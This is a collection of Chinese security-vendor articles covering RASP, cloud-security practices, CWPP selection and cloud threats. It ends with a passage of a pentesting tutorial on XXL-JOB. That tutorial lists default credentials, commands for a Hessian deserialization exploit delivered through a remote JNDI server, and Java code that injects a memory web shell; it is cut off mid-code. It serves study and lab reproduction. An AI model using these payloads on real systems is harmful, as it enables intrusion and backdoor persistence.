在恶意攻击防护方面，青藤天睿•RASP 基于无规则的逻辑检测，监控应用底层调用，使得攻击无法绕过，为安全人员提供详尽的攻击链路，便于漏洞定位和复现，弥补了传统入侵防护方案在未知攻击检测上的不足。

而对于漏洞在线修复，青藤天睿•RASP 展现出其热补丁能力，通过特征匹配和深入漏洞利用原理的屏蔽，有效进行漏洞应急防护，尤其对于老旧系统中的漏洞，即使没有直接补丁可用，也能提供即时的安全防护，防止黑客攻击。

此外，与其他安全产品相比，青藤云安全的优势也十分明显。

他们的产品体系采用统一的 Agent 架构，大大简化了部署和扩展工作。因为已经在大量客户中部署了 Agent，在此基础上便轻易解决了 RASP 覆盖的问题，也为产品在多种环境中的适配打下了坚实基础。

其次，产品的稳定性和适配性已得到了大规模客户的验证。胡俊分享道，在大规模 RASP 的应用中，他们摸索出通过动态注入和分批上线的策略，优化了实施部署的过程。

而且，成立于2014年的青藤云安全，至今在端侧安全检测能力已有十年的积累。“十年的技术积累使我们在内存攻击、应用漏洞、虚拟补丁等方面具备了强大的安全检测能力。这些能力也被应用到了我们的 RASP 产品中，使其在安全检测方面表现出色。”胡俊告诉雷峰网。

写在最后

十年前，主机安全领域的发展还处于早期阶段，许多组织对在服务器上部署安全代理（Agent）持有疑虑。

但随着时间的推移、技术验证和威胁形势的演变，主机安全代理因其在提高威胁检测和响应能力方面的效果，逐渐被广泛接受并成为企业网络安全的重要组成部分。

而在今天，RASP 技术的推广同样受到了限制。

“这是一种全行业适配的安全解决方案，适用于所有面临应用威胁的场景，是对安全点位的重要补充。但它本身具有一定的侵入性，对用户技术要求较高，也需要用户在安全建设上有一定的基础。”胡俊告诉雷峰网，“企业不仅要有能力驾驭这项技术，还需要在观念上接受它。这种观念的转变是一个过程，需要企业认识到 RASP 的价值，并对其带来的成本有清晰的认识。”

据胡俊观察，目前金融和运营商行业的客户由于安全体系相对完善，技术能力强，加上有复杂的系统和大量的应用，更愿意尝试 RASP 技术，“这并不是说其他行业不会采用RASP，而是头部行业会先行一步，其他行业随后会跟上。”

总的来说，RASP 技术的推广不会受到特定规模和行业限制，随着安全意识的提高和技术的发展，它有望逐渐被更多行业接受和采用。

RASP 技术会成为“守护”网络安全的新一代“守护神”吗？让我们拭目以待。

-完-

热门动态推荐

阅读原文

跳转微信打开

2024年云安全防护策略与最佳实践

Wed, 29 May 2024 18:00:00 +0800

原创网安人的智囊团 2024-05-29 18:00 北京

青藤，让云更安全

根据《谷歌云品牌调查》数据表明，超过40%的组织正在加大对云服务和产品的投入与使用。与此同时，有33.4%的企业计划将传统企业软件迁移到云端，而32.8%的企业则计划将内部工作负载转移到云环境。因此，企业正在管理复杂的多云环境，这些环境目前承载着关键业务应用程序和数据。

云攻击利用增加200%原因

然而，随着云技术的飞速发展，其面临的攻击面也在不断扩张。根据《2023年全球威胁报告》显示，随着越来越多企业迁移到云环境，针对云环境的攻击利用将会增加。从2021年到2023年，云攻击利用率如期上升，涉及此类行为体的案例较2021年增长了近两倍。云风险利用增加有多种原因：

（1）与云本身性质有关，利用敏捷流程和持续交付会使云原生应用程序容易受到漏洞和错误配置等风险影响。同样，用户可以轻松便捷获取云服务，这也导致了 "流氓 "和影子资产大量出现，它们都是在安全团队的权限之外建立的。它们缺乏管理，部署时安全控制措施极少或根本没有，从而使这些云环境面临更大的被利用风险。

（2）云安全控制措施保护能力不够。例如一些单点云安全方案，留下了一些盲点，让攻击者有机可乘。例如，Agentless使用side-scanning扫描技术，定期(通常每24小时一次)检查是否存在恶意软件。虽然在部署Agent不可行的情况下，它是资产可视性的有效工具，但这些解决方案缺乏实时扫描能力。

（3）与此同时，威胁攻击者也在进行针对性的云研究和开发。他们对云基础设施有深入的了解，并不断完善其攻击战术、技术，以更好利用云服务和相关云漏洞。

最新3大云攻击趋势

为此，组织要想更好抵御精通云技术的攻击者，需要更好了解他们用入侵动机、策略和技术。随着技术的发展，攻击者的技术手段也变得越来越复杂，他们会利用漏洞和当今分散的安全环境。以下是跟踪一些攻击者观察到的三大云攻击趋势：

跨IT基础设施的横向移动

攻击者通过利用网络中的漏洞或配置错误，从一个已渗透的系统移动到其他系统的策略，这种策略使攻击者能够扩展其控制范围，访问更多资源，而无需重新进行外部渗透尝试。

（1）实现机制：攻击者常利用未打补丁的漏洞（如CVE-2022-29464）进行横向移动，该漏洞允许远程代码执行，从而在IT基础设施中获得立足点。

（2）防御策略：

网络隔离：通过VLANs和微隔离技术，减少攻击者的潜在移动路径。
入侵检测系统：部署NIDS以监控网络流量，检测异常通信模式。

云配置错误导致风险

（1）常见的云配置错误

不受限制的出站访问：不受限制的互联网出站访问会让坏人利用缺乏限制和工作负载保护的漏洞，从云平台中外泄数据。
禁用日志记录：有效记录云安全事件对检测恶意行为至关重要。如果禁用日志记录，就没有事件记录，也就无法检测潜在的恶意行为。日志记录应作为最佳实践启用和管理。

（2）防御策略

实施自动化的配置检查和合规性审计。
使用云安全态势管理工具，以实时监控和警报配置错误。

云身份作为新的攻击接入点

（1）通过2个数据，来说明这件事情

高达47%云配置错误与身份和权限管理状况不良有关。
在 67% 的云安全事件，是因为权限提升超出了要求导致，从而入侵环境并横向移动。

（2）常见攻击手段

利用合法用户账户进行初始访问。
通过修改认证过程或攻击身份信息进行权限提升。

（3）防御策略

强化身份和访问管理策略，包括最小权限原则和定期的权限审查。
实施多因素认证以增加账户安全性。

云安全5大最佳实践

优先考虑云身份保护

原因：攻击者利用云身份作为完成初始访问。
建议：利用云原生应用保护平台（CNAPP）审核和删除具有账户访问权限的旧用户/旧凭证。

了解安全漏洞

原因：云错误配置使企业面临数据丢失的风险。
建议：利用可视性和实时洞察力，在错误配置成为问题之前发现它们。内部和外部应用程序安全测试也可提供对潜在危险漏洞和错误配置的洞察力。

采用实时监控和可见性

原因：如果没有持续地检测，威胁就会被忽视。
建议：在云系统中部署持续监控，实时识别并解决潜在威胁。监控配置文件符合组织和技术限制，确保最重要的指标和事件包含在监控范围内，并选择最有效的监控软件。

确保及时打补丁

原因：必须对云资产进行更新和配置，以创建针对攻击者的最强大防御。
建议：定期更新云环境中的软件，确保及时修补漏洞。应特别注意修复在云中运行的公开的应用程序中已知的远程代码执行和服务器端请求伪造 (SSRF) 漏洞。

实时监控异常行为

原因：云工作负载和容器事件的可见性对于缩短检测和响应攻击者的平均时间至关重要。
建议：监控可疑活动，包括新创建的云实例和云账户、新添加的凭证或多因素身份验证因子、更改的防火墙规则等等，任何这些行为都可能表明云中存在入侵者。

IT环境日益庞大和复杂，为攻击者提供了巨大的攻击面，所以云安全已成为企业不可忽视的议题。本文所揭示的三大云攻击趋势和五大最佳实践，强调了组织必须采取全面和主动的安全措施来保护其云资产免受日益复杂的威胁。

更多关于云安全防护，可以关注《云原生应用保护平台（CNAPP）购买指南（2024）》。欢迎访问青藤云安全官网（www.qingteng.cn）了解更多产品详情，或拨打400-800-0789转1联系青藤客户服务专家申请产品试用。

-完-

热门动态推荐

阅读原文

跳转微信打开

CWPP的六大评估维度

Tue, 21 May 2024 18:00:00 +0800

原创网安人的智囊团 2024-05-21 18:00 北京

青藤，让云更安全

随着云环境的不断演变，组织的安全部门不仅需要清楚地了解多云基础设施和安全状况，满足各种监管合规要求，防范各类高级威胁，证明安全产品的投资回报率，同时还要应对当前的各种挑战。所以保护组织的云上信息不受威胁的入侵并不是一件简单的事情，因此选择正确的云安全供应商和解决方案对组织的云安全防护效果至关重要。

当云资源可被公开访问时，无论是由于设计、配置错误还是泄露，它们都会受到攻击者的监视。这种监视是完全自动化的，因为攻击者会以编程方式搜索受害者。近期曾有IceFire双重勒索软件攻击被研究人员观测到，其主要攻击对象是大型企业那些公开暴露在互联网上的Linux云基础设施。通过利用服务器上运行的文件共享应用程序上的反序列化漏洞，攻击者能够获得访问权限并执行远程代码执行（RCE）攻击。通过这个例子可知， CWPP Agent在实施成功的云安全策略中不可或缺。虽然CSPM解决方案也发出告警，指出这台Linux服务器可被公开访问，但安全团队同样可能会直接忽略这条告警，因为这台服务器设计初衷就是可被公开访问的，文件共享很常见。因此，在这种情况下，只有CWPP Agent才能实时检测到攻击。然而，如何评估和选择适合组织的、效果有保障的CWPP供应商？

本文旨在为用户提供一份CWPP选购指南，整理出了评估CWPP解决方案时的主要注意事项，希望用户能够选择到适合自身的、切实有效的供应商及产品。

CWPP关键能力要求

结合用户调研反馈，以下7点是用户对CWPP最常见的能力要求：

为多云和混合云计算基础设施（虚拟机、容器、Kubernetes）提供运行时威胁检测
防御无文件攻击、勒索软件和0Day漏洞
保留工作负载遥测数据，包括短暂的工作负载
促进事件响应
便捷的CWPP部署、配置和管理
满足监管合规要求
CWPP的功能都支持API化

CWPP评估考虑维度

CWPP Agent和Agentless

CWPP有两种类型: Agentless和Agent。Agentless使用side-scanning扫描技术，定期(通常每24小时一次)检查是否存在恶意软件。如果更频繁地检查，成本会变得很高。它的第二个缺点是使用签名来扫描恶意软件，而签名是很容易规避的。

相比之下， CWPP Agent可针对云工作负载的运行时威胁提供实时保护、检测和响应。实时性是一个关键点，因为勒索软件等运行时威胁可以在几秒钟内对云工作负载进行攻击并渗透数据。

应优先考虑使用基于AI而不是签名的Agent。签名对0Day漏洞和无文件(内存注入)攻击束手无策，而且很容易被高级攻击者规避。此外，只有CWPP Agent才能提供操作系统进程级别的工作负载遥测历史数据记录，这也是规划事件响应能力时的一个关键考虑因素。

评估CWPP供应商的关键问题：

CWPP 解决方案是否提供实时威胁检测？
CWPP 解决方案是否能检测勒索软件、0day、无文件和加密挖矿？
它能保护虚拟机、容器、Kubernetes上的工作负载吗？
响应操作是自动化的吗？它们可以被修改吗？
如果需要云连接，判断检测的往返SLA是什么？

资源占用

有一个无法规避的事实是: Agent会或多或少地占用CPU和内存。选择资源消耗低的CWPP Agent，但注意不要为了微小的资源节省而牺牲安全性。在所有其他条件相同的情况下，资源消耗越少越好。在评估测试过程中，要注意不同工作负载下的CPU和内存消耗。

便携部署和可扩展性

当云基础架构扩展以满足工作负载需求时，Agent应支持自动部署。评估正在考虑的CWPP Agent的部署简易性和可扩展性。

云虚拟机

对于在云虚拟机上运行的工作负载，CWPP Agent的部署和激活是一个自动化的两步流程。配置虚拟机和激活CWPP Agent可通过标准的DevOps方法实现。另外，如果使用"完全成熟"的机器镜像(即包含Agent的镜像) ，则可在启动云计算实例时通过自动引导脚本进行激活。

容器化工作负载和Kubernetes

Kubernetes (K8s)是大规模编排容器化工具。通过使用Helm图表，可以简化集群中必要的Kubernetes资源部署。有了Helm， CWPP Agent就会作为DaemonSet清单的一部分被删除，这样Agent就会自动部署到任何新的工作节点上。因此，运行时保护可根据群集不断变化的工作负载需求进行自动扩展。

多云和混合云

权威调研报告显示，87%的组织使用不止一家云供应商，72%的组织拥有结合公有云和私有云的混合云结构。

评估CWPP供应商的关键问题：

您的CWPP支持哪些云供应商？
它能保护包括虚拟机、容器和 K8s 在内的私有云工作负载吗？
你们是否同时支持自助管理和托管K8s服务？
Agent能否作为K8s pod、Docker容器运行，或者直接安装在主机操作系统上？
支持哪些Linux发行版？
支持哪些容器运行时？
Windows服务器怎么样？

遥测技术与事件响应

在发生云安全事件时，调查人员需要跟踪取证线索，以便了解攻击情况并更好地防止其再次发生，对于短暂的容器化工作负载来说尤其如此。只有CWPP Agent才能提供内核深处的可见性，揭示操作系统进程级的活动。这些数据日志对于缩短调查时间，最终缩短平均恢复时间非常有价值。此外，这些安全数据还可用于在攻击发起前在多云环境中主动查找威胁，降低风险。

专业安全人员获取和使用这些信息的难易程度也是一个考虑因素。界面是否直观？数据搜索的响应速度如何？另一个需要考虑的因素是数据保留——安全数据的存储时间。通常有一个默认的数据保留期，但也可以询问是否有延长数据保留期的选项。

另一个考虑因素是数据丰富性。本机收集的工作负载遥测数据是否自动丰富了其他安全数据，如容器元数据或MITRE TTPs？解决方案是否能够从其他安全解决方案中摄取数据，以获得更丰富的内容？所有这些因素都可能影响购买决策。

评估CWPP供应商的关键问题：

存储了哪些工作负荷遥测数据？
默认数据保留期限是多长？
延长数据保留期限有哪些选择？
数据能否触发自动回复？
遥测技术是否以任何方式得到丰富？如果是，如何进行？
如何才能最好地利用这些安全数据来优化事件响应和威胁狩猎？

客户案例

由于有些客户非常注重安全工作的保密性，因此供应商或产品推荐很多时候难以达成。即使供应商在您所在的行业没有能够公开推荐的用户，他们也可能在其他行业有能够公开推荐的用户。即使没有能够公开推荐的用户，他们也应能为您提供私人推荐人，这些人愿意接听电话并坦诚地分享他们的经验。

“青藤万相•主机自适应安全平台，为我们在系统入侵防护方面提供了事前的风险识别、事中的监控告警以及事后的分析取证，也帮助我们在主机安全层面建立起了一个实时有效的防护体系，并拓展了我们在远程分支机构及公有云端的系统安全防护能力。青藤的产品在功能和性能指标方面也非常出众，而且部署方式灵活，技术支持也非常到位。希望青藤能够在主机安全领域不断创新，帮助客户在复杂的IT环境中建立起更高效、更稳定、更精准和更智能的安全防护屏障。”

——新东方集团安全负责人-杨宁

评估CWPP供应商的关键问题：

查看供应商网站和同行评审平台上的公开参考资料。
是否有私人推荐人，可供询问他们使用你们解决方案的经验？(部署、安全性能、稳定性、可扩展性、支持等方面。

完整的API文档

要求CWPP供应商提供完整的API文档。毕竟，自动化是云计算成功的关键。其次，文档齐全的API意味着默认您的云安全堆栈中很可能还有其他解决方案。API便于集成到您的云深度防御战略中。

评估CWPP供应商的关键问题：

在哪里可以获取你们的API文档？
是否有预制集成？

青藤万相•主机自适应安全平台

希望本文能够帮助您了解购买CWPP解决方案时的主要考虑因素，理清评估和选择过程。如果您正在寻找CWPP，欢迎您进一步了解青藤万相•主机自适应安全平台，适用于云虚拟机、容器和Kubernetes集群的实时CWPP，Agent可实现最高性能、效率和运行稳定性。

青藤万相·主机自适应安全平台采⽤自适应安全架构，有效解决传统专注防御手段的被动处境，为主机添加强大的实时监控和响应能力，帮助企业有效预测风险，精准感知威胁，提升响应效率，保障企业安全最后一公里。青藤万相在技术和应用创新方向有6大亮点：

创新性：国内首个主机安全品类的落地产品
市场占有率：Gartner、Frost&Sullivan、赛迪等咨询机构报告排名第一
稳定性：超细粒度资产清点，超低资源占用，稳定性高达99.9999%
客户认可度：为1000+各行业头部客户，800万+核心服务器提供安全防护
功能丰富度：1个Agent可实现资产清点、风险发现、入侵检测、合规基线、病毒查杀等多个功能
兼容性：主机安全产品中，主机操作系统及处理器适配种类国内第一

截止目前，青藤万相•主机自适应安全平台已在政府、金融、运营商、大型企业、教育、医疗、交通、能源等各行业广泛应用，并得到客户的高度认可。

欢迎访问青藤云安全官网（www.qingteng.cn）了解更多产品详情，或拨打400-800-0789转1联系青藤客户服务专家申请产品试用。

-完-

热门动态推荐

阅读原文

跳转微信打开

十大云安全威胁

Tue, 14 May 2024 18:00:00 +0800

网安人的智囊团 2024-05-14 18:00 北京

青藤，让云更安全

越来越多的业务开始上云，但通常情况下云环境的搭建和配置往往是优先考虑的事情，而安全性则被置于次要地位。大多数组织（54%）将本地安全工具简单的迁移到云端，但是这些工具并非为云而设计，这限制了它们的扩展能力。云业务的显著增长也带来了威胁和数据泄露的大幅增加。在过去的十八个月中，大多数利用云计算能力的企业都经历了某种形式的数据泄露。

希望本文能帮助组织提高应对高级威胁意识，尤其是在进行云计算迁移和安全建设时重点考虑云安全威胁。

数据泄露

数据泄露是指敏感、受保护或机密信息被未经授权的个人发布、查看、窃取或使用，包括但不限于个人健康信息、财务信息、个人可识别信息、商业秘密和知识产权。数据泄露可能是针对性攻击导致的结果，也可能仅仅是人为错误、应用程序漏洞或不充分的安全实践导致的结果。

关键要点

云对攻击者来说是极具吸引力的目标资产。组织可以通过选择一系列安全措施保护数据安全，包括执行最小权限、创建带有恢复计划的不可变备份、启用加密，并定期审查数据安全措施来保护其数据。数据正成为网络攻击的主要目标。定义数据的商业价值和数据丢失的影响对于拥有或处理数据的组织来说非常重要。

保护数据正变成一个谁可以访问它，在什么时间访问，在什么地点访问，以什么样方式访问等问题。

通过互联网访问的数据是最易受错误配置或利用的资产。

加密技术可以帮助保护数据，但可能会影响系统性能，影响用户体验。

配置错误和变更控制不足

云资源的配置错误是数据泄露的主要原因，而缺乏有效的变更控制是云环境中配置错误的常见原因。云环境与传统信息技术不同，在企业数据中心中静态的基础设施元素在云中被抽象为软件，它们的整个生命周期可能只持续几分钟或几秒钟。同时，多云环境也增加了安全防护的复杂性。这种动态的云环境需要一种敏捷和主动的云安全方案，但是许多公司尚未采取对应措施。

关键要点

云配置错误是指不正确地设置云资产的行为。这意味着它们可能被恶意活动利用，可能导致安全漏洞的检测时间延长，使关键的企业数据处于不安全状态。在过去的两年中，特权账户的泄露占所有与身份相关的安全漏洞的34%。然而，只有38%的组织正在使用多因素认证来保护他们的特权账户。这增加了数据泄露的机会，因为它为网络犯罪分子提供了一个黄金机会，他们可以通过利用配置错误的账户来访问敏感数据。

基于云的资源高度复杂和动态变化情况，使它们难以配置。

传统的控制措施和策略变更管理方法在云中无效。

应采用自动化工具，能够持续扫描配置错误，并实时解决问题的技术。

缺乏云安全架构和策略

很多组织仍然只是简单地将现有的IT堆栈和安全控制措施“转移”到云环境中，安全建设往往落后于功能迁移，对共享安全责任模型理解不足。为降低被网络攻击可能性，组织需要实施适当的安全架构并制定强大的安全策略，包括利用云原生工具增加云环境中的可见性来最小化风险和成本。

关键要点

确保安全架构与业务目标一致。

制定并实施安全架构。

确保威胁模型不断更新。

将持续监控纳入整体安全姿态。

身份、凭据、访问和密钥管理不足

因为云计算深刻影响身份、凭据和访问管理。在公有云和私有云设置中，云供应商和云消费者都需要在不影响业务运转的情况下安全管理IAM。云环境中安全事件和数据泄露可能发生，原因包括：

凭据保护不足。

缺乏定期自动轮换加密密钥、密码和证书。

缺乏可扩展的身份、凭据和访问管理系统。

未使用多因素认证。

未使用强密码。

凭据和加密密钥不得嵌入源代码或发布类似GitHub这样公开平台，密钥需要使用安全良好的公钥基础设施（PKI）来保护，以确保密钥管理活动得到执行。此外，身份管理系统必须支持在人员变动时（如离职或角色转换）立即撤销对资源的访问权限。这种身份管理生命周期流程应集成在云环境中和能够完全自动化。

关键要点

云服务供应商提供各种处理密钥管理的方法，从完全依赖云供应商进行完全托管的服务器端加密，到客户自己生成和管理密钥并在上传数据之前进行加密的完全客户端加密方法。

安全账户，包括多因素认证，对root账户进行严格限制使用。

对云用户和身份实施最严格的身份和访问控制。

根据业务需求和最小权限原则，对账户、VPC和身份组进行隔离和分段。

轮换密钥，移除未使用的凭据或访问权限，并采用集中、程序化密钥管理。

账户劫持

在云环境中，风险最高的账户是云服务账户和订阅账户。钓鱼攻击、利用基于云的系统或窃取的凭据可能会危及这些账户。这些风险源于云服务的交付模式，以及其组织和治理：数据和应用程序驻留在云服务中，云服务驻留在云账户或订阅账户中。

关键要点

账户和服务劫持意味着完全失陷，包括业务中断、数据资产泄露等等。恶意攻击者可以使用网络钓鱼技术、暴露的凭据等脆弱性来获得云租户的初始访问权限。他们还可以利用过于“宽松”的访问控制策略进一步渗透到环境中，获取对敏感资源的访问权限。访问控制策略应仔细配置，以确保仅授予用户必要的最少权限，此外还需实施职责分离，以特别保护敏感操作和资源。

账户劫持是一种必须严肃对待的威胁，不仅仅是重置密码。

深度防御和IAM控制是减轻账户劫持的关键。

内部威胁

内部威胁是指“拥有或曾经拥有对组织资产授权访问的个人，利用他们的访问权限，无论是恶意的还是无意的，以可能对组织产生负面影响的方式行事。” 内部人员可能是当前或以前的员工、承包商或其他受信任的商业伙伴。与外部威胁行为者不同，内部人员在公司的安全信任圈内操作，他们可以直接访问网络、计算机系统和敏感公司数据。

根据波恩蒙研究所研究，员工或承包商的疏忽占内部威胁比例的64%，而23%与犯罪内部人员有关，13%与凭据盗窃有关。一些常见的情况包括配置错误的云服务器、员工在他们自己的不安全个人设备和系统上存储公司敏感数据以及员工或其他内部人员成被钓鱼邮件，导致公司资产被恶意攻击。

关键要点

采取措施减少内部人员的疏忽可以减轻内部威胁的后果。下面概述的行动可以帮助解决用户疏忽和管理引入的安全问题。

安全培训：为团队提供培训，正确安装、配置和监控您的计算机系统、网络、移动设备和备份设备。定期的意识培训，告知他们如何处理安全风险，要求使用强密码并经常更新密码等。

修复配置错误的云服务器：定期审计云中和本地的服务器，然后纠正与组织内设置的安全基线偏离的任何偏差。

限制对关键系统的访问：确保拥有特权访问的人员限制在少数员工中，监控任何权限级别的所有计算机服务器的访问。

不安全的接口和API

API和UI通常是系统最暴露的部分，可能是唯一具有公共IP地址的资产，可在受信任的组织边界之外使用。作为“前门”，它们很可能会被持续攻击，因此需要有足够的控制措施来保护它们免受攻击。

关键要点

测试 API 和微服务是否存在因配置不当、编码不当、身份验证不足和授权不当而导致的漏洞。API安全关键点如下：

API 的攻击面必须受到监控、配置和保护。

确保妥善保护API密钥，避免重复使用。

使用能够持续监控异常 API 流量，能够使用准实时修复问题的技术。

系统漏洞

云服务平台存在系统漏洞。它们可能被用来破坏数据的机密性、完整性和可用性，从而可能扰乱服务运营。

关键要点

系统漏洞是系统组件内部的故障，经常由人为错误引起，使黑客更容易利用企业的云服务。

结合严格的 IAM 程序，可以通过常规漏洞识别和补丁分发来显着减轻系统漏洞造成的安全威胁。

有限的可见性

组织无法分析云服务使用是否安全，主要表现在两个方面，首先是一些未经授权的应用程序使用。这种情况导致了大量影子资产，而安全攻击中有三分之一将通过影子IT系统和资源发起。其次，组织通常无法分析他们批准的应用程序是如何被内部人员利用的，无法确定他们的行为是否超出正常要求或是否满足安全合规要求。

关键要点

构建完整的云可见性解决方案，包括CSPM、CWPP、CIEM等。

强制执行全公司接受云使用政策的培训和执行。

所有云服务都必须经过云安全架构师或第三方风险管理的审查和批准。

在组织内实施零信任模型。

滥用和恶意使用云服务

托管的恶意软件的云服务可能看起来更合法，因为恶意软件使用CSP的域名。此外，云托管的恶意软件可以使用云共享工具作为攻击向量，进一步传播自身。滥用云资源的其他例子包括：

发起DDoS攻击

电子邮件垃圾邮件和网络钓鱼活动

挖矿

托管恶意或盗版内容

关键要点

企业必须意识到这些新的云攻击向量，并采取措施应对，需要采购能够监控云基础设施或API调用的安全技术。

监控所有云，技术监控并阻止任何未经授权的数据泄露。

采用新一代先进云安全方案，传统安全防护机制无法减轻云服务的风险。

-完-

热门动态推荐

阅读原文

跳转微信打开

XXL-JOB漏洞分析与利用

Tue, 02 Apr 2024 18:01:00 +0800

原创 l2sec 2024-04-02 18:01 北京

XXL-JOB作为一款流行的分布式任务调度平台，因其强大的功能和易用性，被广泛部署在各种规模的系统中。对于渗透测试人员来说，学习XXL-JOB的漏洞原理，能够在一定程度上提升渗透能力。

一、前言

在当今的数字化时代，任务调度平台对于企业级应用来说至关重要。它们负责自动化和协调各种时间敏感或周期性的任务，确保业务流程的顺畅运行。XXL-JOB作为一款流行的分布式任务调度平台，因其强大的功能和易用性，被广泛部署在各种规模的系统中。然而，随着其应用的普及，安全研究人员开始关注这些系统可能存在的潜在风险，一个漏洞的发现可能会导致数据泄露、服务中断甚至整个系统被控制。对于渗透测试人员来说，学习XXL-JOB的漏洞原理，能够在一定程度上提升渗透能力。

本篇文章旨在详细介绍XXL-JOB平台中已被发现的一些关键漏洞，以及这些漏洞可能被利用的方式。

二、XXL-JOB简介

2.1 概述

XXL-JOB是一个开源的分布式任务调度平台，设计宗旨是实现任务的快速开发、简易学习和轻量级部署，同时具备良好的扩展性。该平台由调度中心和管理执行器的两部分组成，它们通过网络进行通信，实现任务的调度和执行。调度中心负责任务的发起和调度策略的配置，而执行器则负责接收任务请求并执行具体的业务逻辑。

通俗的来说，XXL-JOB就像一个超级强大的闹钟，但它不仅仅能设定固定的时间响铃，还能根据复杂的规则和条件来触发任务。想象一下，你有一个任务需要每天早上8点执行，另外一个任务需要在每月的第1天晚上12点执行，还有任务是基于某些特定事件触发的，比如数据库中的数据达到一定量时。

2.2 特点

XXL-JOB就像一个智能助手，它可以帮你设定这些任务，并且确保它们在正确的时间得到执行。它有以下几个关键特点：

容器化：提供官方docker镜像，并实时更新推送dockerhub，进一步实现产品开箱即用。

脚本任务：支持以GLUE模式开发和运行脚本任务，包括Shell、Python、NodeJS、PHP、PowerShell等类型脚本。

动态：支持动态修改任务状态、启动/停止任务，以及终止运行中任务，即时生效。

Rolling实时日志：支持在线查看调度结果，并且支持以Rolling方式实时查看执行器输出的完整的执行日志。

三、XXL-JOB搭建

搭建可参考官方文档：

https://www.xuxueli.com/xxl-job/

源码结构：

Plain Text

xxl-job-admin：调度中心

xxl-job-core：公共依赖

xxl-job-executor-samples：执行器Sample示例（选择合适的版本执行器，可直接使用，也可以参考其并将现有项目改造成执行器）

：xxl-job-executor-sample-springboot：Springboot版本，通过Springboot管理执行器，推荐这种方式；

：xxl-job-executor-sample-frameless：无框架版本；

这里我采用docker进行搭建，可参考：基于docker的分布式任务调度系统xxl-job搭建，注意这里我们搭建有漏洞的版本，我这里搭建的是2.0.2版本。

docker启动涉及到的命令如下：

Bash
# 安装mysql
docker pull mysql
# 启动mysql
docker run -e MYSQL_ROOT_PASSWORD=123456 -p 3306:3306 -v /opt:/opt mysql --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci
# 修改密码
ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456';
# 刷新权限
flush privileges;
# 创建数据库
CREATE database if NOT EXISTS xxl_job default character set utf8 collate utf8_general_ci;
# 导入sql文件
source /opt/xxl-job-2.4.0/doc/db/tables_xxl_job.sql;
# 下载镜像
docker pull xuxueli/xxl-job-admin:2.0.2
# 启动镜像
docker run -e PARAMS="--spring.datasource.url=jdbc:mysql://192.168.2.198:3306/xxl_job?Unicode=true&characterEncoding=UTF-8 --spring.datasource.username=root --spring.datasource.password=123456" -p 8080:8080 -v /tmp:/data/applogs --name xxl-job-admin xuxueli/xxl-job-admin:2.0.2

搭建成功，显示如下：

访问 http://ip:port/xxl-job-admin/

四、XXL-JOB漏洞复现与分析

4.1 默认口令

默认账号密码：admin/123456。

4.2 Hessian反序列化

4.2.1 漏洞复现

4.2.1.1 出网利用

影响版本：XXL-JOB <= 2.0.2

漏洞原理：/api接口存在Hessian2反序列化漏洞

漏洞复现：

访问/api接口存在如下报错响应，则存在漏洞。

这里测试使用的是jdk11，所以需要bypass高版本的限制，这里启动JNDI服务：

Bash
# 工具地址：https://github.com/welk1n/JNDI-Injection-Exploit，可bypass jdk高本版限制
java -jar JNDI-Injection-Exploit-1.0-welk1n.jar -A 0.0.0.0 -C "ping xmm0yh.dnslog.cn"

生成恶意序列化数据：

Bash
# 工具地址：https://github.com/mbechler/marshalsec，有Hessian的利用链
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/kt17tn > 1.ser

burp发送有问题，这里使用curl发送：

Bash
curl -XPOST --data-binary @1.ser http://192.168.2.132:8080/xxl-job-admin/api -H "Content-Type: x-application/hessian"

命令执行成功：

4.2.1.2 不出网利用

通过jdk原生 SwingLazyValue利用链，可以达到反射调用静态方法。测试jdk1.8成功，jdk9版本开始，删除了rt.jar，下面测试注入内存马。

方式一：defineClass加载字节码

调用Unsafe#defineClass方法来加载字节码，实现内存马注入，使用JMG工具（https://github.com/pen4uin/java-memshell-generator-release）生成内存马，代码参考：https://blog.wanghw.cn/security/hessian-deserialization-jdk-rce-gadget.html

代码需要修改的地方有：

bcode的值为生成的BASE64格式的内存马

注入的类名

Java
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import sun.misc.Unsafe;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;
import javax.swing.;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
import java.util.HashMap;
import java.util.Hashtable;
public class hessian_demo_main {
    static SerializerFactory serializerFactory = new SerializerFactory();
    static byte[] bcode;
    static {
        try {
            // 修改下面bcode为实际生成的BASE64格式的内存马
            bcode = Base64.decode("yv66vg...AAAAAgCi");
        } catch (Base64DecodingException e) {
            throw new RuntimeException(e);
        }
    }
    public static void main(String[] args) throws Exception {
        serializerFactory.setAllowNonSerializable(true);
        Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
        Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
        Field f = Unsafe.class.getDeclaredField("theUnsafe");
        f.setAccessible(true);
        Object unsafe = f.get(null);
        // 修改下面HttpClientUtil为实际生成内存马的类名
        Object[] ags = new Object[]{invoke, new Object(), new Object[]{defineClass, unsafe, new Object[]{"HttpClientUtil", bcode, 0, bcode.length, null, null}}};
        // 修改下面HttpClientUtil为实际生成内存马的类名
        SwingLazyValue swingLazyValue1 = new SwingLazyValue("HttpClientUtil", null, new Object[0]);
        SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", ags);
        Object[] keyValueList = new Object[]{"abc", swingLazyValue};
        Object[] keyValueList1 = new Object[]{"ccc", swingLazyValue1};
        UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
        UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
        UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);
        UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);
        Hashtable hashtable1 = new Hashtable<>();
        Hashtable hashtable2 = new Hashtable<>();
        Hashtable hashtable3 = new Hashtable<>();
        Hashtable hashtable4 = new Hashtable<>();
        hashtable1.put("a", uiDefaults1);
